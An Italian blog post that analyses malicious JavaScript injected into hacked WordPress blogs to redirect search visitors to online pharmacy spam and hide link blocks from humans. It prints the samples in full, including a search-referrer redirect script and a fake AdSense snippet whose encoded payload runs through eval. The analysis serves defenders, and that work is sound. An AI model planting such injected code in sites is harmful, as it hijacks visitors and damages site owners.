Indagando sul recente sfruttamento di blog basati su Wordpress per carpirne il pagerank, al fine di vendere farmaci online, mi sono imbattuto in parecchi esempi di codice Javascript iniettato. Ne riporto quancuno, con l’analisi, al fine di mostrare cosa sia possibile fare anche solo con Javascript.

Partiamo dal primo esempio. Il codice era inserito in cima alla homepage di un blog:


<script language="JavaScript">
  var r=document.referrer,t="”,q;
  if (r.indexOf("google.") != -1) t = "q";
  if (r.indexOf("msn.") != -1) t = "q";
  if (r.indexOf("live.") != -1) t = "q";
  if (r.indexOf("yahoo.") != -1) t = "p";
  if (r.indexOf("altavista.") != -1) t = "q";
  if (r.indexOf("aol.") != -1) t = "query";
  if (r.indexOf("ask.") != -1) t = "q";
  if (document.cookie.length==0 && t.length &&
      (document.URL.indexOf("?certified=") != -1 ||
      document.URL.indexOf("?google-approved=") != -1) &&
      ((q=r.indexOf("?"+t+"=")) != -1 ||
      (q=r.indexOf("&"+t+"=")) != -1))
      {
	window.location="http://sito.farmaci/pharma/search.php?q=" +
	  r.substring(q+2+t.length).split("&")[0];
      }
</script>

La funzione dello script può essere riassunta in questo modo:

  1. Viene esaminato il referer: se è un motore di ricerca fra Google MSN, Live, Yahoo, Altavista, AOL o Ask, viene assegnata alla variabile t la stringa che identifica la query
  2. La sequenza di condizioni nell’ultimo statement if suona più o meno così:
    • se non ci sono cookie appartenenti al sito
    • se la variabile t non è vuota
    • l’url richiesto contiene ?certified= o ?google-approved=
    • vi è la sequenza di termini di ricerca nell’url del referer

    ossia, in breve, se l’url del referer è più o meno così: http://motorediricerca/search?hl=it&q=parole+chiave e l’url cercato è più o meno così: http://blog.violato/?certified=222 il browser viene rediretto a http://sito.farmaci/pharma/search.php?q=parole+chiave

Il redirect quindi non si attiva se un visitatore arriva da un altro sito qualsiasi, né se ha già visitato il sito in precedenza. Non si attiva neppure se la stringa di query manca o è incompleta nell’url del referer, determinando così un meccanismo di occultamento a danno sia del proprietario del sito che dei suoi amici e visitatori abituali.

Vediamo ora un secondo esempio.

Questo è presente sempre in alcuni dei blog compromessi. Il codice malevolo reagisce allo user agent: se è lo spider di un motore di ricerca noto, la pagina principale viene riempita di link a beneficio dello spider. Per maggiore sicurezza, i link sono all’interno di un <div> che ha ID uguale a _wp-footer. Notare che il tag non ha attributi di stile, e che l’ID assomiglia ad uno comunemente usato in WordPress, ma c’è un segno di underscore all’inizio. Ecco il codice Javascript associato:


<div id="_wp_footer">
...lunga sequenza di link con nomi di farmaci noti...
</div>
<script type="text/javascript"><!--
  google_ad_client = "pub-7652328300112263";
  google_ad_width = 728;
  google_ad_height = 15;
  google_ad_format = "728x15_0ads_al_s";
  google_ad_channel = "";
  function google_ads(str) {
    var idx = str.indexOf('?');
    if (idx == -1) return str;
    var len = str.length;
    var new_str = "”;
    var i = 1;
    for (++idx; idx < len; idx += 2,i++) {
      var ch = parseInt(str.substr(idx, 2), 16);
      new_str += String.fromCharCode((ch + i) % 256);
    }
  eval(new_str);
  }
  google_ads("http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E455C544248504F53434F0304084C4C50423A02373B44403B2F4609ED3838362CE800");
  //-->
</script>

Ad una occhiata distratta sembra un normale segmento di script per Google AdSense, ma qualcosa non quadra. Il for contiene una semplice funzione di decodifica. Basta sostituire alla funzione eval vicino alla fine con alert o con document.write: il risultato lo vediamo in figura.

Codice JS per occultare un blocco DIV

In stringa:


document.getElementById('_wp-footer').style.display="none";

La funzione di questo minuscolo pezzo di codice è di inserire lo stile display:none negli attributi del blocco div con ID _wp-footer, in breve di non visualizzarlo.
In questo modo se qualcuno cerca nelle pagine qualcosa di nascosto tramite lo stile display:none non lo troverà mai. Si tratta di protezione per offuscamento del codice.

Questi ed altri indizi mostrano che il codice malevolo è in evoluzione: a partire dalla variante detta Goro Spam, dove lo stile era esplicito nella pagina, si è passati all’offuscamento proprio di quello stile ed all’uso di un ID con nome molto comune. Sta diventando sempre più difficile trovare siti compromessi, certo non per via dell’esaurirsi dell’attacco, piuttosto per la maggiore sofisticazione impiegata dall’attaccante.

Appena avrò maggiori dettagli pubblicherò altri articoli. Nel frattempo, massima attenzione alle homepage dei vostri blog.